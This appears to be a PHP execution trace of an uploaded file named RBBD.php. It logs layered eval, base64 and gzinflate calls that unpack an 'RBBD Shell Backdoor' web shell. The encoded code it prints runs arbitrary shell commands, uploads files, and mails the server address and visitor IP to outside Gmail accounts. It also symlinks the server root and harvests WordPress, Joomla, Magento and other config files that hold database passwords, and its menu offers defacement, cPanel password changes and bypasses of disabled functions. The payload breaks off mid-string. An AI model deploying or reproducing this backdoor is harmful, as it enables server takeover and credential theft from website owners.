3	20	0	0.001863	460072	sha1	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code	3	1	'7b1rk+JIki78fX9FWe85b+9abU9LAqpSPT2zBgKBBChB6AL68hpIJAhdoBMSEHvOfz/uEbqCIMmqonfWbKwtuzJBiouHh/vjHh7uvy93gf/3T78v51MH/vHd0Pu0fJ2//O3n5W63+e3XX1/n269r2/vL+nXx63S7ne+2v7rB4teX6d611+FfNuHi50+vc/9vP2+X69ed/bb7hJ///Gnq7/72M/kVmt25O3/+d7XRaH4aLee+/6kxtT1nvX79/Vf61aff7Xm4m7/+/fcl+/ffX9bh7tPL1J7/7afR9HUzDe3lT3//9P/9K//0VP3rp5Jmku9+/xVf/zVu69PvwXw3/RROg/nffp6+7WCAP3+CEe3g67/9nDXzc/KkvZy+wgz/9pOuib88/VSgx08/kWn+tN1F/ny7nM93P33aRRsY4m5+3P1qb7f4PPn2759mayf6r084jV9epoHrR799ymbyH5/st9etu5//9dMMxr94Xb+Fzi9uMF3Mf/v09ur/20//'
3	20	1	0.001957	460184
3	20	R			'76e5328b0a78de6f89f03cd35a82da16b75cdbe2'
3	21	0	0.001974	460072	base64_decode	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code	4	1	'7b1rk+JIki78fX9FWe85b+9abU9LAqpSPT2zBgKBBChB6AL68hpIJAhdoBMSEHvOfz/uEbqCIMmqonfWbKwtuzJBiouHh/vjHh7uvy93gf/3T78v51MH/vHd0Pu0fJ2//O3n5W63+e3XX1/n269r2/vL+nXx63S7ne+2v7rB4teX6d611+FfNuHi50+vc/9vP2+X69ed/bb7hJ///Gnq7/72M/kVmt25O3/+d7XRaH4aLee+/6kxtT1nvX79/Vf61aff7Xm4m7/+/fcl+/ffX9bh7tPL1J7/7afR9HUzDe3lT3//9P/9K//0VP3rp5Jmku9+/xVf/zVu69PvwXw3/RROg/nffp6+7WCAP3+CEe3g67/9nDXzc/KkvZy+wgz/9pOuib88/VSgx08/kWn+tN1F/ny7nM93P33aRRsY4m5+3P1qb7f4PPn2759mayf6r084jV9epoHrR799ymbyH5/st9etu5//9dMMxr94Xb+Fzi9uMF3Mf/v09ur/20//'
3	21	1	0.002079	488776
3	21	R			'kH.}EY9oZmOK\002R==\006\002\004(A\002\032H$\b]\023\022\020{?\021 ɪwl-2A\036\036/wO/S\a|n__ۯkutﶿח޵_6Oso?oםi3\025ݹ;wh~\032-1=g~Wէy%_Ԟu3\rO+T맒f~\025_5n|7\024N~`?\0215s򤽜\f<TO?iE|w?}E\033\030n~jo<fk\'O8_^G}f\037׭\fƿx]/n0]Oӿ\025\006_{;Ǧ^\0060^ٗ|-\\ǿ\025ܬ]'
3	22	0	0.002461	488744	gzinflate	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code	4	1	'kH.}EY9oZmOK\002R==\006\002\004(A\002\032H$\b]\023\022\020{?\021 ɪwl-2A\036\036/wO/S\a|n__ۯkutﶿח޵_6Oso?oםi3\025ݹ;wh~\032-1=g~Wէy%_Ԟu3\rO+T맒f~\025_5n|7\024N~`?\0215s򤽜\f<TO?iE|w?}E\033\030n~jo<fk\'O8_^G}f\037׭\fƿx]/n0]Oӿ\025\006_{;Ǧ^\0060^ٗ|-\\ǿ\025ܬ]'
3	22	1	0.003048	566600
3	22	R			'<html> <head> <link href=\'http://res7ock.org/assets/img/favicon.png\' rel=\'shortcut icon\' alt=\'icon\'> <title>RBBD Shell Backdoor</title> <center><h1><font face="Sarpanch"> &#9884; RBBD Shell Backdoor &#9884;</h1></center> <meta name=\'author\' content=\'RBBD Shell\'> <meta charset="UTF-8"> <link href="" rel="stylesheet" type="text/css"> <style> body{ font-family: "Sarpanch", cursive; background-image: url("#"); color:red; background-attachment:fixed; background-repeat:no-repeat; background-position:cen'
3	23	0	0.003327	618560	eval	1	'?><html> <head> <link href=\'http://res7ock.org/assets/img/favicon.png\' rel=\'shortcut icon\' alt=\'icon\'> <title>RBBD Shell Backdoor</title> <center><h1><font face="Sarpanch"> &#9884; RBBD Shell Backdoor &#9884;</h1></center> <meta name=\'author\' content=\'RBBD Shell\'> <meta charset="UTF-8"> <link href="" rel="stylesheet" type="text/css"> <style> body{ font-family: "Sarpanch", cursive; background-image: url("#"); color:red; background-attachment:fixed; background-repeat:no-repeat; background-position:center; background-color:#000; -webkit-background-size: 100% 100%; } #content tr:hover{ background-color:white; text-shadow:1px 0px 0px #000; } #content .first{ background-color: yellow; font-weight: bold; } H1{ color:yellow; font-family: "Sarpanch", cursive; } #content .first:hover{ background-color: yellow; text-shadow:1px 0px 0px #000; } table{ border: 0px red solid; } a{ color: yellow; text-decoration: none; } a:hover{ color: white; text-shadow:1px 0px 0px #000; } .tombols{ background:black; color:yellow; border-top:0; border-left:0; border-right:0; border: 2px white solid; padding:5px 8px; text-decoration:none; font-family: \'Sarpanch\', sans-serif; border-radius:5px; } textarea{ color:white; background-color:transparent; font-weight: bold; padding:5px 8px; font-family: "Sarpanch", cursive; border: 2px white solid; -moz-border-radius: 5px; -webkit-border-radius:5px; border-radius:5px; } input,select{ color:yellow; background-color:black; font-weight: bold; font-family: "Sarpanch", cursive; border: 2px white solid; } </style> </head> <link href="https://fonts.googleapis.com/css?family=Courgette" rel="stylesheet"> <link href="https://fonts.googleapis.com/css?family=Sarpanch|Teko" rel="stylesheet">\n<?php $code =\n\'QGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLCAwKTsKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7CnNldF90aW1lX2xpbWl0KDApOwppbmlfc2V0KCdtZW1vcnlfbGltaXQnLCAnNjRNJyk7CmhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgnKTsKJHR1anVhbm1haWwgPSAnc2VydmVycGhwc2hlbGxAZ21haWwuY29tJzsKJHR1anVhbm1haWwxID0gJzEzc2hlbGwzN0BnbWFpbC5jb20nOwokeF9wYXRoID0gImh0dHA6Ly8iIC4gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10gLiAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsKJHBlc2FuX2FsZXJ0ID0gImZpeCAkeF9wYXRoIDpwICpJUCBBZGRyZXNzIDogWyAiIC4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiAiIF0iOwptYWlsKCR0dWp1YW5tYWlsLCAiTE9HR0VSIiwgJHBlc2FuX2FsZXJ0LCAiWyAiIC4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiAiIF0iKTsKbWFpbCgkdHVqdWFubWFpbDEsICJMT0dHRVIiLCAkcGVzYW5fYWxlcnQsICJbICIgLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuICIgXSIpOwpzZXRfdGltZV9saW1pdCgwKTsKZXJyb3JfcmVwb3J0aW5nKDApOwoKLy9mdW5jdGlvbgpmdW5jdGlvbiBhbWJpbEthdGEoJHBhcmFtLCAka2F0YTEsICRrYXRhMil7CiAgICBpZihzdHJwb3MoJHBhcmFtLCAka2F0YTEpID09PSBGQUxTRSkgcmV0dXJuIEZBTFNFOwogICAgaWYoc3RycG9zKCRwYXJhbSwgJGthdGEyKSA9PT0gRkFMU0UpIHJldHVybiBGQUxTRTsKICAgICRzdGFydCA9IHN0cnBvcygkcGFyYW0sICRrYXRhMSkgKyBzdHJsZW4oJGthdGExKTsKICAgICRlbmQgPSBzdHJwb3MoJHBhcmFtLCAka2F0YTIsICRzdGFydCk7CiAgICAkcmV0dXJuID0gc3Vic3RyKCRwYXJhbSwgJHN0YXJ0LCAkZW5kIC0gJHN0YXJ0KTsKICAgIHJldHVybiAkcmV0dXJuOwp9CmlmKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHsKICAgIGZ1bmN0aW9uIGlkeF9zcygkYXJyYXkpIHsKcmV0dXJuIGlzX2FycmF5KCRhcnJheSkgPyBhcnJheV9tYXAoJ2lkeF9zcycsICRhcnJheSkgOiBzdHJpcHNsYXNoZXMoJGFycmF5KTsKICAgIH0KICAgICRfUE9TVCA9IGlkeF9zcygkX1BPU1QpOwp9CgpmdW5jdGlvbiBleGUoJGNtZCkgewogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgeyAgICAgICAgCkBvYl9zdGFydCgpOyAgICAgICAKQHN5c3RlbSgkY21kKTsgICAgIAokYnVmZiA9IEBvYl9nZXRfY29udGVudHMoKTsgICAgICAgIApAb2JfZW5kX2NsZWFuKCk7ICAgICAgIApyZXR1cm4gJGJ1ZmY7ICAKICAgIH0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7ICAgICAgICAKQGV4ZWMoJGNtZCwkcmVzdWx0cyk7ICAgICAgCiRidWZmID0gIiI7ICAgICAgICAKZm9yZWFjaCgkcmVzdWx0cyBhcyAkcmVzdWx0KSB7ICAgICAgICAgCiAgICAkYnVmZiAuPSAkcmVzdWx0OyAgICAgIAp9IHJldHVybiAkYnVmZjsgICAgCiAgICB9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsgICAgICAgIApAb2Jfc3RhcnQoKTsgICAgICAgCkBwYXNzdGhydSgkY21kKTsgICAgICAgCiRidWZmID0gQG9iX2dldF9jb250ZW50cygpOyAgICAgICAgCkBvYl9lbmRfY2xlYW4oKTsgICAgICAgCnJldHVybiAkYnVmZjsgIAogICAgfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpIHsgICAgICAKJGJ1ZmYgPSBAc2hlbGxfZXhlYygkY21kKTsgICAgIApyZXR1cm4gJGJ1ZmY7ICAKICAgIH0KfQoKLy9jaGVjayBkaXIKJG5pY2sgPSAiazB2M1QiOwppZihpc3NldCgkX0dFVFsncGF0aCddKSl7CiRwYXRoID0gJF9HRVRbJ3BhdGgnXTsKfWVsc2V7CiRwYXRoID0gZ2V0Y3dkKCk7Cn0KJHNvZnR3YXJlID0gZ2V0ZW52KCJTRVJWRVJfU09GVFdBUkUiKTsKJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCcvJywkcGF0aCk7CiRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsKCgovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCgppZighZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpIHsKICAgICR1c2VyID0gQGdldF9jdXJyZW50X3VzZXIoKTsKICAgICR1aWQgPSBAZ2V0bXl1aWQoKTsKICAgICRnaWQgPSBAZ2V0bXlnaWQoKTsKICAgICRncm91cCA9ICI/IjsKfSBlbHNlIHsKICAgICR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQocG9zaXhfZ2V0ZXVpZCgpKTsKICAgICRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQocG9zaXhfZ2V0ZWdpZCgpKTsKICAgICR1c2VyID0gJHVpZFsnbmFtZSddOwogICAgJHVpZCA9ICR1aWRbJ3VpZCddOwogICAgJGdyb3VwID0gJGdpZFsnbmFtZSddOwogICAgJGdpZCA9ICRnaWRbJ2dpZCddOwp9IAovL3VuYW1lCmVjaG8gIjxicj48Yj48aT48Y2VudGVyPjxmb250IGNvbG9yPXllbGxvdyBzaXplPTM+Q3VycmVudCBEaXIgPC9mb250PjogIjsKZm9yZWFjaCgkcGF0aHMgYXMgJGlkPT4kcGF0KXsKaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7CiRhID0gdHJ1ZTsKZWNobyAnPGEgaHJlZj0iP3BhdGg9LyI+LzwvYT4nOwpjb250aW51ZTsKfQppZigkcGF0ID09ICcnKSBjb250aW51ZTsKZWNobyAnPGEgaHJlZj0iP3BhdGg9JzsKZm9yKCRpPTA7JGk8PSRpZDskaSsrKXsKZWNobyAiJHBhdGhzWyRpXSI7CmlmKCRpICE9ICRpZCkgZWNobyAiLyI7Cn0KZWNobyAnIj48Zm9udCBjb2xvcj1yZWQgc2l6ZT0zPicuJHBhdC4nPC9mb250PjwvYT4vJzsKfQoKIyNUT09MQkFSCmVjaG8gIjxociBjb2xvcj15ZWxsb3c+Cjxicj48Y2VudGVyPgo8Zm9udCBzaXplPTM+PGEgaHJlZj0nPycgY2xhc3M9J3RvbWJvbHMnPkhvbWU8L2E+Cjxmb250IHNpemU9Mz48YSBocmVmPSc/cGF0aD0kcGF0aCZhPXVwbG9hZCcgY2xhc3M9J3RvbWJvbHMnPlVwbG9hZDwvYT4KPGZvbnQgc2l6ZT0zPjxhIGhyZWY9Jz9wYXRoPSRwYXRoJmE9Y21kJyBjbGFzcz0ndG9tYm9scyc+Q29tbWFuZDwvYT4KPGZvbnQgc2l6ZT0zPjxhIGhyZWY9Jz9wYXRoPSRwYXRoJmE9Y29uZmlndjInIGNsYXNzPSd0b21ib2xzJz5Db25maWc8L2E+Cjxmb250IHNpemU9Mz48YSBocmVmPSc/cGF0aD0kcGF0aCZhPWp1bXBpbmcnIGNsYXNzPSd0b21ib2xzJz5KdW1waW5nPC9hPgo8Zm9udCBzaXplPTM+PGEgaHJlZj0nP3BhdGg9JHBhdGgmYT1zeW1saW5rJyBjbGFzcz0ndG9tYm9scyc+U3ltbGluazwvYT4KPGJyPjxicj4KPGZvbnQgc2l6ZT0zPjxhIGhyZWY9Jz9wYXRoPSRwYXRoJmE9bWFzc19kZWZhY2UnIGNsYXNzPSd0b21ib2xzJz5NYXNzIERlZmFjZTwvYT4KPGZvbnQgc2l6ZT0zPjxhIGhyZWY9Jz9wYXRoPSRwYXRoJmE9ZGlzYWJsZWZ1bmMnIGNsYXNzPSd0b21ib2xzJz5CeXBhc3MgRGlzYWJsZSBGdW5jdGlvbjwvYT4KPGZvbnQgc2l6ZT0zPjxhIGhyZWY9Jz9wYXRoPSRwYXRoJmE9cmRwc2hlbGwnIGNsYXNzPSd0b21ib2xzJz5LLVJEUCA1SDNMTDwvYT4KPGJyPjxicj4KPGZvbnQgc2l6ZT0zPjxhIGhyZWY9Jz9wYXRoPSRwYXRoJmE9YWRtaW5lcicgY2xhc3M9J3RvbWJvbHMnPkFkbWluZXI8L2E+Cjxmb250IHNpemU9Mz48YSBocmVmPSc/cGF0aD0kcGF0aCZhPWdldGNwJyBjbGFzcz0ndG9tYm9scyc+Q2hhbmdlIFBhc3N3b3JkIGNQYW5lbDwvYT4KPGZvbnQgc2l6ZT0zPjxhIGhyZWY9Jz9wYXRoPSRwYXRoJmE9em9uZS1oJyBjbGFzcz0ndG9tYm9scyc+Wm9uZS1IPC9hPgoKCjwvY2VudGVyPjwvYnI+CjxociBjb2xvcj15ZWxsb3c+PGNlbnRlcj4iOwoKLy91cGxvYWRzCmlmKCRfR0VUWydhJ10gPT0gJ3VwbG9hZCcpIHsKaWYoaXNzZXQoJF9GSUxFU1snZmlsZSddKSl7CmlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpewplY2hvICc8Zm9udCBjb2xvcj0ieWVsbG93Ij5Eb25lPC9mb250PjxiciAvPic7Cn1lbHNlewplY2hvICc8Zm9udCBjb2xvcj0icmVkIj5FcnJvcjwvZm9udD48YnIgLz4nOwp9Cn0KZWNobyAnPGZvcm0gZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIj48Zm9udCBjb2xvcj0icmVkIiBzaXplPSI0Ij4KVXBsb2FkIEZpbGUgOjxicj48aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlVwbG9hZCIgLz4KPC9mb3JtPjxicj4KPC90ZD48L3RyPic7ICAgIAoKCn0gZWxzZWlmKCRfR0VUWydhJ10gPT0gJ2NvbmZpZ3YyJykgewogICAgICAgICAgICBpZihzdHJ0b2xvd2VyKHN1YnN0cihQSFBfT1MsIDAsIDMpKSA9PSAid2luIil7CmVjaG8gJzxzY3JpcHQ+YWxlcnQoIkNhbm5vdCBiZSB1c2VkIG9uIGEgV2luZG93cyBzZXJ2ZXIiKTwvc2NyaXB0Pic7CmV4aXQ7Cn0KICAgIGlmKCRfUE9TVCl7IGlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ3N5bXZob3N0cycpIHsKICAgICAgICBAbWtkaXIoIlJCQkRfc3ltdmhvc3RzIiwgMDc3Nyk7CmV4ZSgibG4gLXMgLyBSQkJEX3N5bXZob3N0cy9yb290Iik7CiRodGFjY2Vzcz0iT3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzCkRpcmVjdG9yeUluZGV4IHJiYmQuaHRtCkFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIApBZGRIYW5kbGVyIHRleHQvcGxhaW4gLnBocApTYXRpc2Z5IEFueSI7CkBmaWxlX3B1dF9jb250ZW50cygicmJiZF9zeW12aG9zdHMvLmh0YWNjZXNzIiwkaHRhY2Nlc3MpOwogICAgICAgICRldGNfcGFzc3dkPSRfUE9TVFsncGFzc3dkJ107CiAgICAKICAgICRldGNfcGFzc3dkPWV4cGxvZGUoIlxuIiwkZXRjX3Bhc3N3ZCk7CmZvcmVhY2goJGV0Y19wYXNzd2QgYXMgJHBhc3N3ZCl7CiRwYXdkPWV4cGxvZGUoIjoiLCRwYXNzd2QpOwokdXNlciA9JHBhd2RbNV07CiRqZW1ib2QgPSBwcmVnX3JlcGxhY2UoJy9cL3Zhclwvd3d3XC92aG9zdHNcLy8nLCAnJywgJHVzZXIpOwppZiAocHJlZ19tYXRjaCgnL3Zob3N0cy9pJywkdXNlcikpewpleGUoImxuIC1zICIuJHVzZXIuIi9odHRwZG9jcy93cC1jb25maWcucGhwIHJiYmRfc3ltdmhvc3RzLyIuJGplbWJvZC4iLVdvcmRwcmVzcy50eHQiKTsKZXhlKCJsbiAtcyAiLiR1c2VyLiIvaHR0cGRvY3MvY29uZmlndXJhdGlvbi5waHAgcmJiZF9zeW12aG9zdHMvIi4kamVtYm9kLiItSm9vbWxhLnR4dCIpOwpleGUoImxuIC1zICIuJHVzZXIuIi9odHRwZG9jcy9jb25maWcva29uZWtzaS5waHAgcmJiZF9zeW12aG9zdHMvIi4kamVtYm9kLiItTG9rb21lZGlhLnR4dCIpOwpleGUoImxuIC1zICIuJHVzZXIuIi9odHRwZG9jcy9mb3J1bS9jb25maWcucGhwIHJiYmRfc3ltdmhvc3RzLyIuJGplbWJvZC4iLXBocEJCLnR4dCIpOwpleGUoImxuIC1zICIuJHVzZXIuIi9odHRwZG9jcy9zaXRlcy9kZWZhdWx0L3NldHRpbmdzLnBocCByYmJkX3N5bXZob3N0cy8iLiRqZW1ib2QuIi1EcnVwYWwudHh0Iik7CmV4ZSgibG4gLXMgIi4kdXNlci4iL2h0dHBkb2NzL2NvbmZpZy9zZXR0aW5ncy5pbmMucGhwIHJiYmRfc3ltdmhvc3RzLyIuJGplbWJvZC4iLVByZXN0YVNob3AudHh0Iik7CmV4ZSgibG4gLXMgIi4kdXNlci4iL2h0dHBkb2NzL2FwcC9ldGMvbG9jYWwueG1sIHJiYmRfc3ltdmhvc3RzLyIuJGplbWJvZC4iLU1hZ2VudG8udHh0Iik7CmV4ZSgibG4gLXMgIi4kdXNlci4iL2h0dHBkb2NzL2FkbWluL2NvbmZpZy5waHAgcmJiZF9zeW12aG9zdHMvIi4kamVtYm9kLiItT3BlbkNhcnQudHh0Iik7CmV4ZSgibG4gLXMgIi4kdXNlci4iL2h0dHBkb2NzL2FwcGxpY2F0aW9uL2NvbmZpZy9kYXRhYmFzZS5waHAgcmJiZF9zeW12aG9zdHMvIi4kamVtYm9kLiItRWxsaXNsYWIudHh0Iik7IAp9fX0KaWYoJF9QT1NUWydjb25maWcnXSA9PSAnc3ltbGluaycpIHsKQG1rZGlyKCJyYmJkX3N5bWNvbmZpZyIsIDA3NzcpOwpAc3ltbGluaygiLyIsInJiYmRfc3ltY29uZmlnL3Jvb3QiKTsKJGh0YWNjZXNzPSJPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3MKRGlyZWN0b3J5SW5kZXggcmJiZC5odG0KQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgCkFkZEhhbmRsZXIgdGV4dC9wbGFpbiAucGhwClNhdGlzZnkgQW55IjsKQGZpbGVfcHV0X2NvbnRlbnRzKCJyYmJkX3N5bWNvbmZpZy8uaHRhY2Nlc3MiLCRodGFjY2Vzcyk7fQppZigkX1BPU1RbJ2NvbmZpZyddID09ICc0MDQnKSB7CkBta2RpcigicmJiZF9zeW00MDQiLCAwNzc3KTsKQHN5bWxpbmsoIi8iLCJyYmJkX3N5bTQwNC9yb290Iik7CiRodGFjY2Vzcz0iT3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzCkRpcmVjdG9yeUluZGV4IHJiYmQuaHRtCkFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIApBZGRIYW5kbGVyIHRleHQvcGxhaW4gLnBocApTYXRpc2Z5IEFueQpJbmRleE9wdGlvbnMgK0NoYXJzZXQ9VVRGLTggK0ZhbmN5SW5kZXhpbmcgK0lnbm9yZUNhc2UgK0ZvbGRlcnNGaXJzdCArWEhUTUwgK0hUTUxUYWJsZSArU3VwcHJlc3NSdWxlcyArU3VwcHJlc3NEZXNjcmlwdGlvbiArTmFtZVdpZHRoPSoKSW5kZXhJZ25vcmUgKi50eHQ0MDQKUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9IF4uKnJiYmRfc3ltNDA0IFtOQ10KUmV3cml0ZVJ1bGUgXC50eHQkICV7UkVRVUVTVF9VUkl9NDA0IFtMLFI9MzAyLk5DXSI7CkBmaWxlX3B1dF9jb250ZW50cygicmJiZF9zeW00MDQvLmh0YWNjZXNzIiwkaHRhY2Nlc3MpOwp9CmlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ2dyYWInKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIG1rZGlyKCJyYmJkX2NvbmZpZ2dyYWIiLCAwNzc3KTsKICAgICAgICAgICAgICAgICAgICAgICAgJGlzaV9odGMgPSAiT3B0aW9ucyBhbGxcblJlcXVpcmUgTm9uZVxuU2F0aXNmeSBBbnkiOwogICAgICAgICAgICAgICAgICAgICAgICAkaHRjID0gZm9wZW4oInJiYmRfY29uZmlnZ3JhYi8uaHRhY2Nlc3MiLCJ3Iik7CiAgICAgICAgICAgICAgICAgICAgICAgIGZ3cml0ZSgkaHRjLCAkaXNpX2h0Yyk7IAp9CiRwYXNzd2QgPSAkX1BPU1RbJ3Bhc3N3ZCddOwoKcHJlZ19tYXRjaF9hbGwoJy8oLio/KTp4Oi8nLCAkcGFzc3dkLCAkdXNlcl9jb25maWcpOwpmb3JlYWNoKCR1c2VyX2NvbmZpZ1sxXSBhcyAkdXNlcl9yYmJkKSB7CiRncmFiX2NvbmZpZyA9IGFycmF5KAoiL2hvbWUvJHVzZXJfcmJiZC8uYWNjZXNzaGFzaCIgPT4gIldITS1hY2Nlc3NoYXNoIiwKIi9ob21lLyR1c2VyX3JiYmQvcHVibGljX2h0bWwvY29uZmlnL2tvbmVrc2kucGhwIiA9PiAiTG9rb21lZGlhIiwKIi9ob21lLyR1c2VyX3JiYmQvcHVibGljX2h0bWwvZm9ydW0vY29uZmlnLnBocCIgPT4gInBocEJCIiwKIi9ob21lLyR1c2VyX3JiYmQvcHVibGljX2h0bWwvc2l0ZXMvZGVmYXVsdC9zZXR0aW5ncy5waHAiID0+ICJEcnVwYWwiLAoiL2hvbWUvJHVzZXJfcmJiZC9wdWJsaWNfaHRtbC9jb25maWcvc2V0dGluZ3MuaW5jLnBocCIgPT4gIlByZXN0YVNob3AiLAoiL2hvbWUvJHVzZXJfcmJiZC9wdWJsaWNfaHRtbC9hcHAvZXRjL2xvY2FsLnhtbCIgPT4gIk1hZ2VudG8iLAoiL2hvbWUvJHVzZXJfcmJiZC9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwIiA9PiAiT3BlbkNhcnQiLAoiL2hvbWUvJHVzZXJfcmJiZC9wdWJsaWNfaHRtbC9hcHBsaWNhdGlvbi9jb25maWcvZGF0YWJhc2UucGhwIiA9PiAiRWxsaXNsYWIiLAoiL2hvbWUvJHVzZXJfcmJiZC9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwIiA9PiAiVmJ1bGxldGluIiwKIi9ob21lLyR1c2VyX3JiYmQvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCIgPT4gIlZidWxsZXRpbiIsCiIvaG9tZS8kdXNlcl9yYmJkL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAiID0+ICJWYnVsbGV0aW4iLAoiL2hvbWUvJHVzZXJfcmJiZC9wdWJsaWNfaHRtbC9mb3J1bXMvaW5jbHVkZXMvY29uZmlnLnBocCIgPT4gIlZidWxsZXRpbiIsCiIvaG9tZS8kdXNlcl9yYmJkL3B1YmxpY19odG1sL2NjL2luY2x1ZGVzL2NvbmZpZy5waHAiID0+ICJWYnVsbGV0aW4iLAoiL2hvbWUvJHVzZXJfcmJiZC9wdWJsaWNfaHRtbC9pbmMvY29uZmlnLnBocCIgPT4gIk15QkIiLAoiL2hvbWUvJHVzZXJfcmJiZC9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWd1cmUucGhwIiA9PiAiT3NDb21tZXJjZSIsCiIvaG9tZS8kdXNlcl9yYmJkL3B1YmxpY19odG1sL3Nob3AvaW5jbHVkZXMvY29uZmlndXJlLnBocCIgPT4gIk9zQ29tbWVyY2UiLAoiL2hvbWUvJHVzZXJfcmJiZC9wdWJsaWNfaHRtbC9vcy9pbmNsdWRlcy9jb25maWd1cmUucGhwIiA9PiAiT3NDb21tZXJjZSIsCiIvaG9tZS8kdXNlcl9yYmJkL3B1YmxpY19odG1sL29zY29tL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAiID0+ICJPc0NvbW1lcmNlIiwKIi9ob21lLyR1c2VyX3JiYmQvcHVibGljX2h0bWwvcHJvZHVjdHMvaW5jbHVkZXMvY29uZmlndXJlLnBocCIgPT4gIk9zQ29tbWVyY2UiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvY2FydC9pbmNsdWRlcy9jb25maWd1cmUucGhwIiA9PiAiT3NDb21tZXJjZSIsCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9pbmMvY29uZl9nbG9iYWwucGhwIiA9PiAiSVBCIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAiID0+ICJXb3JkcHJlc3MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvd3AvdGVzdC93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCIgPT4gIldvcmRwcmVzcyIsCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9iZXRhL3dwLWNvbmZpZy5waHAiID0+ICJXb3JkcHJlc3MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvcG9ydGFsL3dwLWNvbmZpZy5waHAiID0+ICJXb3JkcHJlc3MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvc2l0ZS93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3dwL3dwLWNvbmZpZy5waHAiID0+ICJXb3JkcHJlc3MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvV1Avd3AtY29uZmlnLnBocCIgPT4gIldvcmRwcmVzcyIsCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9uZXdzL3dwLWNvbmZpZy5waHAiID0+ICJXb3JkcHJlc3MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvd29yZHByZXNzL3dwLWNvbmZpZy5waHAiID0+ICJXb3JkcHJlc3MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvdGVzdC93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2RlbW8vd3AtY29uZmlnLnBocCIgPT4gIldvcmRwcmVzcyIsCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9ob21lL3dwLWNvbmZpZy5waHAiID0+ICJXb3JkcHJlc3MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvdjEvd3AtY29uZmlnLnBocCIgPT4gIldvcmRwcmVzcyIsCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC92Mi93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3ByZXNzL3dwLWNvbmZpZy5waHAiID0+ICJXb3JkcHJlc3MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvbmV3L3dwLWNvbmZpZy5waHAiID0+ICJXb3JkcHJlc3MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvYmxvZ3Mvd3AtY29u